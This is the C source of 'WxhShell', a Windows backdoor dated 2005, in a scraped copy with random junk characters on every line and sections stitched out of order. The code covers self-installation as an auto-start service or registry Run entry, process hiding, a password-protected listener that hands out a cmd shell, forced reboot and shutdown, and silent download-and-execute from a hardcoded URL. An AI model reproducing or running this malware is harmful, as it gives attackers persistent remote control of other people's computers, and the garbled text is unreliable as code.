    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,rMDGZm?  
    if(Boot(SHUTDOWN)) N sdpE?V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g8O6 b  
    else { W ^'|{9&m  
    closesocket(wsh); eN])qw{  
    ExitThread(0); -nS f<  
    } z& ;8pZr  
    break; exq5Zc%  
    } L-+g`  
  // 获取shell \3hA_{ w  
  case 's': { }AS?q?4?  
    CmdShell(wsh); m-t: ' B  
    closesocket(wsh); )Qb,zS6  
    ExitThread(0); i~h@}0WR"  
    break; z}E_ wg  
  } \%<M[r=  
  // 退出 [wQ48\^  
  case 'x': { 4r(0+SO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o 2 ng  
    CloseIt(wsh); vM/*S 6[  
    break; Z3]I^i FI  
    } wPg/.N9H  
  // 离开 /\%<VBx ?q  
  case 'q': { rZ?:$],U!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JpS}X\]i  
    closesocket(wsh); JP4DV=}L  
    WSACleanup(); AW5iwq6p  
    exit(1); ~5,^CTAM  
    break; MZGhN brd  
        } l 5-[a  
  } 0O"W0s"T#  
  } o*Qa*<n  
?=&; A  
  // 提示信息 oPi>]#X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2 GRI<M  
} Ay(p~U;gN*  
  } CM?:\$ 4  
n^nE&'[?0g  
  return; x3ZF6)@  
} B@F@,?K4%  
FJeh=\  
// shell模块句柄 @jn&Wf?  
int CmdShell(SOCKET sock) m?kiGC&m  
{ AM- bs^  
STARTUPINFO si; -PV1x1|  
ZeroMemory(&si,sizeof(si)); x*Z'i<;B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )9H5'Wh#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dk&e EDvfd  
PROCESS_INFORMATION ProcessInfo; z>N[veX%  
char cmdline[]="cmd"; Om*QN]lGq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CY o m  
  return 0; ILm +o$o ~  
} (H_dZL  
V|u2(*  
// 自身启动模式  uo`R  
int StartFromService(void) yX!u&  
{ I/7!5Z*  
typedef struct brA#p>4]Wf  
{ F'XQoZ* 1  
  DWORD ExitStatus; u=0O3-\h  
  DWORD PebBaseAddress; {JfQQP&FV  
  DWORD AffinityMask; |<Ls;:5.  
  DWORD BasePriority; \\SQACN  
  ULONG UniqueProcessId; 1gHe$ dzXk  
  ULONG InheritedFromUniqueProcessId; c~hH 7/v  
}   PROCESS_BASIC_INFORMATION; M|blg!j;  
}StzhV{GS  
PROCNTQSIP NtQueryInformationProcess; akvi^]x  
-+E.I*st  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^xHKoOTj[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IWE([<i}i[  
mI8EeMa{  
  HANDLE             hProcess; `Na()r$T  
  PROCESS_BASIC_INFORMATION pbi; "VZ1LVI  
LhO\a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8~(xi<"e  
  if(NULL == hInst ) return 0; )M0`dy{1  
[-\Y?3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]r;rAOWVV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wlNL;W@w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dWn6-es  
B''yW{  
  if (!NtQueryInformationProcess) return 0; ^ 9+ Qxv  
v*.R<- X:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )=f}vHg$  
  if(!hProcess) return 0; O?OAXPK2  
jq H)o2"/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hJM& rM7  
L62'Amml  
  CloseHandle(hProcess); htB7 j(  
+;W%v7 %<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gj?Zbl <  
if(hProcess==NULL) return 0; =n,;S W  
R%.`h  
HMODULE hMod; {($bz T7c  
char procName[255]; {L;sF=d  
unsigned long cbNeeded; ;VLDXvGd  
^/#+0/Bn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G`l\R:Q  
Lip#uuuXXN  
  CloseHandle(hProcess); %gmx47  
Bj 7* 2}  
if(strstr(procName,"services")) return 1; // 以服务启动 XH%pV  
0~U0s3  
  return 0; // 注册表启动 o(ow{S@=4  
} s* GZOz  
\kQ)fk]^  
// 主模块 xCZ_x$bk  
int StartWxhshell(LPSTR lpCmdLine) P|Aac,nE+^  
{ _&, A  
  SOCKET wsl; 3uYLA4[-B  
BOOL val=TRUE; 1NP  
  int port=0; ~DD _n  
  struct sockaddr_in door; "]"0d[d  
W|2^yO,dX  
  if(wscfg.ws_autoins) Install(); VV Q~;{L  
Fizrsr 6%  
port=atoi(lpCmdLine); ^\v]Ltd  
p&Qb&nWk<  
if(port<=0) port=wscfg.ws_port; .OJG o<#$f  
0se%|Z|8  
  WSADATA data; F/2cQ .u2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tz]0F5  
r $S9/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2xN7lfu1RB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uL)MbM]  
  door.sin_family = AF_INET; 1t e^dh:Vp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ n<|f  
  door.sin_port = htons(port); "\*)KH`C  
a>GA=r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3.YH7rN  
closesocket(wsl); | +;ZC y  
return 1; DG;u_6;JR  
} :kHk'.V1(  
U)kyq  
  if(listen(wsl,2) == INVALID_SOCKET) { mH,s!6j?Vp  
closesocket(wsl); 4>(K~v5;N  
return 1; "5eD >!  
} lB27Z}   
  Wxhshell(wsl); oI -Fr0!  
  WSACleanup(); &m5^ YN$b  
L@\t] ~  
return 0; W,~*pyLdO  
]MYbx)v)  
} ;d<XcpK}  
TU?n;h#TZ  
// 以NT服务方式启动 k Fl* Im  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %# uw8V  
{ [g}^{ $`  
DWORD   status = 0; N,w6  
  DWORD   specificError = 0xfffffff; q<\r}1Dm  
+_:p8, 5o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |!K&h(J|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |6NvByc,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :vi %7  
  serviceStatus.dwWin32ExitCode     = 0; cPIyD?c  
  serviceStatus.dwServiceSpecificExitCode = 0; L^e*_q2d:>  
  serviceStatus.dwCheckPoint       = 0; 2>"{El|PbN  
  serviceStatus.dwWaitHint       = 0; HV!P]82Pa  
Jha*BaD~N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %;4#?.W8  
  if (hServiceStatusHandle==0) return; _3 [E$Lg  
Rb<| <D+  
status = GetLastError(); qF3S\ C  
  if (status!=NO_ERROR) =x w:@(]{  
{ f]1 $`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o,k#ft<  
    serviceStatus.dwCheckPoint       = 0; Ty b_'|?rW  
    serviceStatus.dwWaitHint       = 0; T\wOGaCW  
    serviceStatus.dwWin32ExitCode     = status; x75;-q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3=]/+{B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TPb&";4ROf  
    return; ruqE]Hx9(  
  } JK)|a@BtOT  
W{IP}mM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NHZMH!=4:n  
  serviceStatus.dwCheckPoint       = 0; crd|r."  
  serviceStatus.dwWaitHint       = 0; yYOV:3!"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6AD&%v  
} ~(m6dPm$}m  
XXwIp-'  
// 处理NT服务事件,比如:启动、停止 sUF5Y q:9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q9y|1Wg1W  
{ *QW.#y>"j  
switch(fdwControl) Bptt"  
{ Yp m*or  
case SERVICE_CONTROL_STOP: b<fN,U< k  
  serviceStatus.dwWin32ExitCode = 0; Ct /6<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ql7opl,  
  serviceStatus.dwCheckPoint   = 0; FIn)O-<  
  serviceStatus.dwWaitHint     = 0; ;$a|4_U$m  
  { l$BKE{rg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3!;o\bgK  
  } )P1NX"A  
  return; BvlY\^  
case SERVICE_CONTROL_PAUSE: 6:r1^q6A9L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /x-tl)(s=  
  break; ICoZ<;p  
case SERVICE_CONTROL_CONTINUE: FlS)m`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; avS9"e  
  break; gKU*@`6G  
case SERVICE_CONTROL_INTERROGATE: jbOzbxR?  
  break; 'H1"z!]  
}; + $~HRbo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,^xsdqpe  
} P\c0Q;){h"  
(I`< ;  
// 标准应用程序主函数 !oV'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LY0/\Z"N  
{ etW-gbr  
/C<} :R  
// 获取操作系统版本 a(o[ bH.|;  
OsIsNt=GetOsVer(); iEFS>kL8e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cNN_KA  
jM@@N.  
  // 从命令行安装 AM gvk`<f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;c~DBJg'|  
F7x< V=4{  
  // 下载执行文件 @7PE&3  
if(wscfg.ws_downexe) { G`!;RX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A&'HlI% J  
  WinExec(wscfg.ws_filenam,SW_HIDE); F0NNS!WP7^  
} (aCl*vV1  
J! eVw\6  
if(!OsIsNt) { nfvs"B;  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z.LF5ur  
HideProc(); S67T:ARS  
StartWxhshell(lpCmdLine); YpZ 9h@,  
} 4d'tK^X  
else 6 ud<B  
  if(StartFromService()) EVmE{XlD;  
  // 以服务方式启动 `V ++})5v  
  StartServiceCtrlDispatcher(DispatchTable); q14A 'XW  
else _jb"@TY  
  // 普通方式启动 J2#=`|t"  
  StartWxhshell(lpCmdLine); 13{"sY:PT#  
HNoh B4vt  
return 0; 7]9s_13]  
} -ap;Ul?  
e;}5~dSi  
>Q\H1|?  
ELNA-ZKp  
===========================================  WU,72g=  
$t </{]iX  
qXW2a'~  
/[#{#:lo2  
{K0T%.G  
1 }q[8q  
" lR^dT4  
tT#Q`cB  
#include <stdio.h> \ZDT=?  
#include <string.h> <ct{D|mm  
#include <windows.h> U14dQ=~b/  
#include <winsock2.h> Z*e7W O.  
#include <winsvc.h> 1@qb.9wZ6  
#include <urlmon.h> 7iJk0L$]x  
.r*b+rc;]  
#pragma comment (lib, "Ws2_32.lib") U ._1'pW  
#pragma comment (lib, "urlmon.lib") =yNHJHRA#  
#XY]@V\  
#define MAX_USER   100 // 最大客户端连接数 cwC, VYVl  
#define BUF_SOCK   200 // sock buffer J2[QHr&tn  
#define KEY_BUFF   255 // 输入 buffer qP<,"9!I  
O-2H!58$)  
#define REBOOT     0   // 重启 ^9b `;}).  
#define SHUTDOWN   1   // 关机 L,4 ^Of  
R +JI ?/H  
#define DEF_PORT   5000 // 监听端口 x?<5=,  
2RXGY  
#define REG_LEN     16   // 注册表键长度 K((Kd&E  
#define SVC_LEN     80   // NT服务名长度 quUJ%F  
z=Vvb  
// 从dll定义API w./EJk KI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c`}X2u]k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zXf+ieo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =nL*/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %Z5k8  
H62*8y8  
// wxhshell配置信息 ft6^s(t  
struct WSCFG { Z "=(u wM  
  int ws_port;         // 监听端口 O.}gG6u5  
  char ws_passstr[REG_LEN]; // 口令 tB3CX\e  
  int ws_autoins;       // 安装标记, 1=yes 0=no \+~4t  
  char ws_regname[REG_LEN]; // 注册表键名 7Y*m_AhxJ  
  char ws_svcname[REG_LEN]; // 服务名 i:8^:(i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cw|SY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DVcu*UVw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n)7icSc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +l/j6)O`(m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S'JeA>L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KE&}*Nf[  
qtH&]Suu,  
}; HgBg,1  
9f6TFdUi"y  
// default Wxhshell configuration J3.Q8f  
struct WSCFG wscfg={DEF_PORT, *_wef/==  
    "xuhuanlingzhe", Q%xY/xH]  
    1, ?(<AT]hV:  
    "Wxhshell", pOYtN1uN|  
    "Wxhshell", YPy))>Q>cK  
            "WxhShell Service", hw'2q9J|  
    "Wrsky Windows CmdShell Service", E$>e< T  
    "Please Input Your Password: ", {G0)mp,  
  1, mfN@tMp  
  "http://www.wrsky.com/wxhshell.exe", rWs5s!l,  
  "Wxhshell.exe" >oNk(. %  
    }; XfrnM^oty  
_dBU6U:V  
// 消息定义模块 h*9o_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .>'Z9.Xnk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9h(hx 7]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?BZ][~n-Q  
char *msg_ws_ext="\n\rExit."; %Nn'p"  
char *msg_ws_end="\n\rQuit."; !m|%4/ M@  
char *msg_ws_boot="\n\rReboot..."; [;f"',)y,  
char *msg_ws_poff="\n\rShutdown..."; ^aW[~ c  
char *msg_ws_down="\n\rSave to "; V$%K=[  
ZO 1J";>u  
char *msg_ws_err="\n\rErr!"; 5l}h8So4  
char *msg_ws_ok="\n\rOK!"; *n'x S L  
Ma daxx  
char ExeFile[MAX_PATH]; ksaC[G;}:  
int nUser = 0; A,e^bM  
HANDLE handles[MAX_USER]; _MEv*Q@o  
int OsIsNt; %S#"pKE6 R  
\veL5  
SERVICE_STATUS       serviceStatus; EG.C2]Fi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R7{hoqI2  
\IfgL$+  
// 函数声明 (B-9M)  
int Install(void); 5w1[KO#K|  
int Uninstall(void); X8x>oV;8  
int DownloadFile(char *sURL, SOCKET wsh); 7$=@q|$  
int Boot(int flag); +3>4 ?,^g  
void HideProc(void); ;LE @Ezx  
int GetOsVer(void); fdG.=7`  
int Wxhshell(SOCKET wsl); 6I#DlAU@v  
void TalkWithClient(void *cs); $IT9@}*{  
int CmdShell(SOCKET sock); xlO2jSSAt  
int StartFromService(void); 1W[(+TZ&s  
int StartWxhshell(LPSTR lpCmdLine); m_ m@>}ud  
~Wm}M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5,ahKB8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l7!)#^`2_  
9`{2h$U  
// 数据结构和表定义 8w[EyVHA  
SERVICE_TABLE_ENTRY DispatchTable[] = 9Ol_z\5  
{ CM1a<bV<  
{wscfg.ws_svcname, NTServiceMain}, `=DCX%Vw  
{NULL, NULL} 8|NJ(D-$  
}; "%t`I)  
r&sOM_BUF  
// 自我安装 Q$L(fH kw  
int Install(void) 8Jj0-4]  
{ 3]es$Jy  
  char svExeFile[MAX_PATH]; p'k+0=  
  HKEY key;  7~nCK  
  strcpy(svExeFile,ExeFile); E0]h|/A]  
z44~5J]  
// 如果是win9x系统,修改注册表设为自启动 3&fFIab9  
if(!OsIsNt) { /*^|5>-`i1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z;\"pP:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6ya87H'e@  
  RegCloseKey(key); <@2# VG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f;H#TSJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oD@jtd>b%  
  RegCloseKey(key); rI+w1';C1  
  return 0; z xUj1  
    } =>\-ma+  
  } /+`<X%^U  
} {taVAcb  
else { 8G] m7Z  
GTe:k  
// 如果是NT以上系统,安装为系统服务 zN)\2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cCGXB|9fYR  
if (schSCManager!=0) S!W/K!wf  
{ _j\=FJz[  
  SC_HANDLE schService = CreateService bXwoJ2  
  ( .r5oN+?e  
  schSCManager, zf>^2t*\  
  wscfg.ws_svcname, xevP2pYG:  
  wscfg.ws_svcdisp, n(YHk\2  
  SERVICE_ALL_ACCESS, lV6[d8P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0uO=wOIhH  
  SERVICE_AUTO_START, WAXts]=  
  SERVICE_ERROR_NORMAL, m<"fRT!Y  
  svExeFile, RLOQ>vYY  
  NULL, yUmsE-W  
  NULL, ]~S+nl yd<  
  NULL, A{x 7  
  NULL, >04>rn#},,  
  NULL *3`oU\r  
  ); bH&)rn  
  if (schService!=0) bTQa'y`3  
  { g+ 1=5g  
  CloseServiceHandle(schService); /:{_|P\  
  CloseServiceHandle(schSCManager); D>b5Uwt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <-B"|u  
  strcat(svExeFile,wscfg.ws_svcname); ]Bd3d%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |EV\a[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w1@b5-  
  RegCloseKey(key); s~X*U&}5  
  return 0; O& %"F8B  
    } +VLe'|  
  } x36#x  
  CloseServiceHandle(schSCManager); "E)++\JL  
} ViwpyC'v  
} (S)E|;f%C  
A :bPIXb  
return 1; EH*ym#Y  
} zB6u-4^wT  
~/jxB)t  
// 自我卸载 \y H3Y  
int Uninstall(void)  /E{dM2  
{ 4[,B;7  
  HKEY key; }#HTO:r  
"G9'm  
if(!OsIsNt) { ) Zb`~w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `o8{qU,*]N  
  RegDeleteValue(key,wscfg.ws_regname); =6Sj}/   
  RegCloseKey(key); Wd` QpW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C nSX  
  RegDeleteValue(key,wscfg.ws_regname); Xvj=*wg\Y  
  RegCloseKey(key); q bZ,K@0  
  return 0; EhIV(q9x  
  } mk%"G=w  
} S`@6c$y k  
} Ur([L&  
else { k'ZUBTRq!  
Go\} A:|s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z#F,y)YiO  
if (schSCManager!=0) @9uYmkcV  
{ !q$&JZY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -e{)v'C)  
  if (schService!=0) ^\[LrPq e  
  { 12tJrS*Z  
  if(DeleteService(schService)!=0) { ? %+VG  
  CloseServiceHandle(schService); kUg+I_j6*  
  CloseServiceHandle(schSCManager); UGmuX:@y76  
  return 0; :qAc= IC%  
  } k)5_1y  
  CloseServiceHandle(schService); _iGU|$a  
  } iL0jpa<}  
  CloseServiceHandle(schSCManager); O[(?.9  
} RF4$  
} \U!@OX.R'M  
Ac[|MBaF  
return 1; d2A wvP  
} I>H;o{X#  
)ew[ Ak|  
// 从指定url下载文件 ?{"XrQw  
int DownloadFile(char *sURL, SOCKET wsh) VqD[G<|9T  
{ P^8^1-b  
  HRESULT hr; X%a;i6pq  
char seps[]= "/"; b$?Xn{Y  
char *token; .lvI8Jf~X  
char *file; uS,p|}Q&  
char myURL[MAX_PATH]; rmPne8D=c(  
char myFILE[MAX_PATH]; nxyjL)!)0  
/i{tS`[F2a  
strcpy(myURL,sURL); ~IlF*Zz#}6  
  token=strtok(myURL,seps); :vYt Mp  
  while(token!=NULL) >,>;)B@J  
  { aJ6#=G61l  
    file=token; KbwTj*k[  
  token=strtok(NULL,seps); kUn2RZ6$#  
  } llHc=&y#  
.Na&I)udX.  
GetCurrentDirectory(MAX_PATH,myFILE); }iua] 4 |  
strcat(myFILE, "\\"); 9u ?)vR[@e  
strcat(myFILE, file); }z%OnP  
  send(wsh,myFILE,strlen(myFILE),0); =de<WoKnu2  
send(wsh,"...",3,0); +z:CZ(fb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b|sc'eP#?  
  if(hr==S_OK) @PPR$4  
return 0; (ve+,H6w\  
else ]~ !X iCqu  
return 1; Qj 6gg  
cc|CC Zl  
} *.m{jgi1X  
Pqy-gWOv  
// 系统电源模块 N>d|A]zH  
int Boot(int flag) ,4H;P/xsb  
{ }rz dm9  
  HANDLE hToken; xdd:yrC   
  TOKEN_PRIVILEGES tkp; ~~C6)N~1  
~@T+mHny  
  if(OsIsNt) { X0y?<G1( a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i>Z|6 5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lw>-7)  
    tkp.PrivilegeCount = 1; E tJ~dL)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VLcyPM@"Q!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0LWdJ($?  
if(flag==REBOOT) { F+ffl^BQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 81g9ZV(4  
  return 0; Ro'jM0(KE  
} Md8(`@`o  
else { |Du,UY/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  d?:`n 9`  
  return 0; r0F_;  
} RVc)") hQj  
  } Q0V^PDF  
  else { 0jR){G9+  
if(flag==REBOOT) { \#PP8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [O^}rUqq  
  return 0; <1aa~duT  
} uuu\f*<  
else { IWAj Mwo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7{n\y l?  
  return 0; f;.SSiT  
} zzX<?6MS  
} q}>M& *  
3YR* ^  
return 1; W|;nJs:e  
} C@%iQ]=  
0/ut:RV0  
// win9x进程隐藏模块 SK's!m:r=  
void HideProc(void) x.I][(}  
{ kr^0% A  
hzaU8kb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cX2$kIs;  
  if ( hKernel != NULL ) __ 8&Jv\  
  { KzV.+f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6hZ.{8e0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YVoao#!  
    FreeLibrary(hKernel); [ L  
  } p` $fTgm  
Iq+2mQi*/k  
return; I?^aCnU  
} StEQ -k  
!?jK1{E3  
// 获取操作系统版本 +<&E3Or  
int GetOsVer(void) nt7|f,_J  
{ P"b8!k?  
  OSVERSIONINFO winfo; d>Un J)V}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R0{Qy*YQ`  
  GetVersionEx(&winfo); !6lOIgn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ze&#i6S  
  return 1; pg+b[7  
  else '?5S"??  
  return 0; +6 ho)YL  
} 2zhn`m  
^[#=L4  
// 客户端句柄模块 L/~D<V  
int Wxhshell(SOCKET wsl) mIvnz{_d  
{ z^'n* h  
  SOCKET wsh; 7m\vRMK  
  struct sockaddr_in client; -!l^]MU  
  DWORD myID; L ${m/@9  
>zQNHSi  
  while(nUser<MAX_USER) Uls+n@\!  
{ DE%fF,Hk3  
  int nSize=sizeof(client); MZ WmlJ   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w^3|(F  
  if(wsh==INVALID_SOCKET) return 1; 6.[)`iF+#  
?H`j>]%&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `g--QR  
if(handles[nUser]==0) \6{LR&  
  closesocket(wsh); +s ULo  
else $%Z3;:<Uf-  
  nUser++; *#zS^b n  
  } m~;B:LN<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CI^[I\$&  
}w#F6  
  return 0; h(nj,X+  
} >zQOK-  
RpYcD  
// 关闭 socket T<P0T<  
void CloseIt(SOCKET wsh) ]w!0u2K<Q\  
{ wqP2Gw7jh6  
closesocket(wsh); > VP5vkv=  
nUser--; b:1 L@8s;  
ExitThread(0); dq(E&`SzK  
} UU[H@ym#  
?pqU3-knH  
// 客户端请求句柄 ~q 7;8<U  
void TalkWithClient(void *cs) q4/909x=  
{ UA0F):  
tF^g<)S;t  
  SOCKET wsh=(SOCKET)cs; eQ;Q4  
  char pwd[SVC_LEN]; gX^ PSsp  
  char cmd[KEY_BUFF]; %&h c"7/k  
char chr[1]; xz8G}Ku  
int i,j; *}w+ 68eO  
JGis"e  
  while (nUser < MAX_USER) { s9i|mVtm8  
q*bt4,D&Es  
if(wscfg.ws_passstr) { tb,9a!?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P\AqpQv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t+O e)Ns  
  //ZeroMemory(pwd,KEY_BUFF); ,:UX<6l R  
      i=0; 'C^;OjAg  
  while(i<SVC_LEN) { p?JQ[K7i  
Z/g]o#  
  // 设置超时 >?I/;R.-  
  fd_set FdRead; 5$%XvM  
  struct timeval TimeOut; doR4nRl9  
  FD_ZERO(&FdRead); '#q4Bc1  
  FD_SET(wsh,&FdRead); bY)#v?  
  TimeOut.tv_sec=8; 45<y{8  
  TimeOut.tv_usec=0; DkdL#sV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'mE^5K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A?A9`w  
<^c3}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lL0M^Nv  
  pwd=chr[0]; m(_9<bc>  
  if(chr[0]==0xd || chr[0]==0xa) { Vm,,u F  
  pwd=0; I3(d<+M  
  break; "(f`U.  
  } oL-2qtv  
  i++; RgZOt[!.  
    } Hhl-E:"H`  
+D`*\d1  
  // 如果是非法用户,关闭 socket MA* :<l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R/~,i;d>  
} 0%#\w*X8  
N=~~EtX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J+ts  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TH:W#Ot  
59lj7  
while(1) { 2w?hgNz  
vy9dAl  
  ZeroMemory(cmd,KEY_BUFF); ]iVLHVqz  
Ur3m[07H  
      // 自动支持客户端 telnet标准   WbcS: !0  
  j=0; 4TZ cc|B5  
  while(j<KEY_BUFF) { 8:dQ._#v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5FOqv=6S  
  cmd[j]=chr[0]; jDX>izg;V  
  if(chr[0]==0xa || chr[0]==0xd) { a <wL#Id  
  cmd[j]=0; {v,)G)obWw  
  break; -c+]Wm"\  
  } *yez:qnx  
  j++; 9]7u _  
    } h/m6)m.D  
+TSSi em  
  // 下载文件 WU)Ss`s \  
  if(strstr(cmd,"http://")) { gKi{Y1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HID([Wk  
  if(DownloadFile(cmd,wsh)) bK*~ol  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^RNOcM|  
  else S|AjL Ng#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eV2mMSY  
  } +}JM&bfK  
  else { J=H)JH3  
e fO jTA%  
